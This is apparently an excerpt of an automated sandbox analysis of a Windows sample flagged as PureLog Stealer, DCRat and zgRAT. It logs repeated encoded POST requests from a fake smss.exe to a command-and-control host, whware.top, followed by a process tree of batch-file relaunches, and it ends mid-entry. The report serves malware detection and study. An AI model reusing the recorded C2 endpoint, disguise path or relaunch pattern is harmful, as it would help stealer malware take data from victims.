                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    4192.168.2.44976737.44.238.250805440C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:33:10.905035019 CET315OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:33:11.254426003 CET344OUTData Raw: 00 07 04 0d 03 0f 01 05 05 06 02 01 02 03 01 07 00 01 05 0c 02 05 03 00 01 04 0c 0c 05 0e 01 08 0e 0f 06 01 00 0d 06 02 0b 03 05 06 07 53 04 03 06 01 0e 0a 0c 05 06 05 04 01 04 03 05 01 07 00 03 0b 0f 5e 06 04 05 06 0c 07 0d 57 0c 00 0c 54 06 00
                                                    Data Ascii: S^WTRUTR\L~|p~w\j]u|@keLtl~cpIo`_x`rIS`tIU[}_~V@{}~}bW
                                                    Dec 25, 2024 16:33:12.176320076 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:33:12.410124063 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:33:10 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    5192.168.2.44979337.44.238.250803808C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:33:20.750233889 CET332OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:33:21.098259926 CET344OUTData Raw: 05 05 01 00 06 0f 01 07 05 06 02 01 02 04 01 0a 00 02 05 0c 02 05 03 0e 02 02 0e 54 04 00 01 06 0e 0e 03 0c 01 02 05 05 0f 04 05 0a 06 04 05 03 06 0b 0c 00 0e 02 06 52 06 54 05 54 06 52 04 01 01 03 0c 09 04 01 05 09 0c 53 0e 00 0c 06 0c 09 07 50
                                                    Data Ascii: TRTTRSP\L~|^v@wLqb[^O~l\]wotLhJx|o{NX|TTvgpLje~V@@zmr}bi
                                                    Dec 25, 2024 16:33:22.020905018 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:33:22.255040884 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:33:19 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    6192.168.2.44981337.44.238.250801432C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:33:30.925792933 CET267OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:33:31.270153999 CET344OUTData Raw: 00 03 04 05 06 00 01 07 05 06 02 01 02 06 01 05 00 03 05 08 02 06 03 00 03 07 0d 53 07 0f 01 07 0d 0e 06 5b 00 03 04 55 0e 00 05 01 07 53 02 00 03 02 0e 09 0e 03 01 06 07 0f 06 00 01 04 00 00 01 0a 0e 59 05 06 07 06 0e 01 0c 50 0d 57 0b 08 07 54
                                                    Data Ascii: S[USYPWT[VQ\L~|jt\_bupAk|r^v|pk]|J{BcJo`vm`NcY`Nju~V@B{SvA}\W
                                                    Dec 25, 2024 16:33:32.195959091 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:33:32.433993101 CET149INHTTP/1.1 502 Bad Gateway
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:33:30 GMT
                                                    Content-Type: text/plain
                                                    Content-Length: 0
                                                    Connection: keep-alive


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    7192.168.2.44985437.44.238.250806328C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:33:47.189817905 CET315OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
                                                    Host: whware.top
                                                    Content-Length: 336
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:33:47.535659075 CET336OUTData Raw: 05 01 01 02 03 0c 01 00 05 06 02 01 02 05 01 04 00 0a 05 0a 02 01 03 09 00 53 0c 04 04 05 03 57 0a 07 05 00 01 04 06 04 0e 53 05 54 07 06 04 07 07 02 0c 0a 0f 57 05 0a 05 03 05 0d 04 06 00 0b 02 05 0d 5d 06 05 07 09 0d 03 0d 57 0f 50 0d 02 07 0d
                                                    Data Ascii: SWSTW]WPUSQU\L~Ck`zvbT^a[p@UaBcRo^~poYxUclYuXkTpcg`Nju~V@zm~}ey
                                                    Dec 25, 2024 16:33:48.637067080 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:33:48.694005013 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:33:46 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    8192.168.2.44988537.44.238.250801620C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:34:01.974102020 CET279OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:34:02.332313061 CET344OUTData Raw: 00 05 01 05 03 0f 01 00 05 06 02 01 02 02 01 0b 00 05 05 00 02 03 03 0d 01 07 0a 06 06 03 00 50 0d 00 03 01 00 00 06 06 0f 01 02 0b 04 0b 07 03 06 06 0e 5d 0c 0e 04 06 07 00 03 0c 06 0a 00 01 02 57 0e 0e 07 56 04 53 0e 07 0c 55 0f 06 0c 55 04 54
                                                    Data Ascii: P]WVSUUT]QRQ\L~@|cfMcqrXvutO||av|k^ss^y|p[l^XJ|~RtIk\}u~V@z}n~Le
                                                    Dec 25, 2024 16:34:03.256782055 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:34:03.490252972 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:34:01 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Statistics

                                                    CPU Usage

                                                    Click to jump to process

                                                    Memory Usage

                                                    Click to jump to process

                                                    High Level Behavior Distribution

                                                    Click to dive into process behavior distribution

                                                    Behavior

                                                    Click to jump to process

                                                    System Behavior

                                                    General

                                                    Target ID:0
                                                    Start time:10:31:56
                                                    Start date:25/12/2024
                                                    Path:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Users\user\Desktop\cbCjTbodwa.exe"
                                                    Imagebase:0x700000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Yara matches:
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1650898276.0000000000702000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                    • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                    Reputation:low
                                                    Has exited:true

                                                    General

                                                    Target ID:1
                                                    Start time:10:32:01
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:2
                                                    Start time:10:32:01
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:3
                                                    Start time:10:32:01
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:4
                                                    Start time:10:32:01
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff65c030000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:5
                                                    Start time:10:32:10
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0x500000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Yara matches:
                                                    • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Uninstall Information\smss.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Uninstall Information\smss.exe, Author: Joe Security
                                                    Antivirus matches:
                                                    • Detection: 100%, Avira
                                                    • Detection: 100%, Joe Sandbox ML
                                                    • Detection: 71%, ReversingLabs
                                                    Reputation:low
                                                    Has exited:true

                                                    General

                                                    Target ID:8
                                                    Start time:10:32:15
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):true
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat"
                                                    Imagebase:0x800000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:9
                                                    Start time:10:32:15
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:10
                                                    Start time:10:32:15
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:11
                                                    Start time:10:32:15
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff65c030000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:14
                                                    Start time:10:32:24
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0x370000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:low
                                                    Has exited:true

                                                    General

                                                    Target ID:16
                                                    Start time:10:32:29
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:17
                                                    Start time:10:32:29
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:18
                                                    Start time:10:32:29
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:19
                                                    Start time:10:32:29
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff65c030000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:20
                                                    Start time:10:32:38
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0x400000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:22
                                                    Start time:10:32:42
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:23
                                                    Start time:10:32:43
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:24
                                                    Start time:10:32:43
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:25
                                                    Start time:10:32:43
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff65c030000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:26
                                                    Start time:10:32:52
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0xa50000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:28
                                                    Start time:10:32:57
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:29
                                                    Start time:10:32:57
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:30
                                                    Start time:10:32:57
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:31
                                                    Start time:10:32:57
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff6688c0000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:32
                                                    Start time:10:33:06
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0x4e0000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:34
                                                    Start time:10:33:11
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\COegk83zmU.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:35
                                                    Start time:10:33:11
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:36
                                                    Start time:10:33:12
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
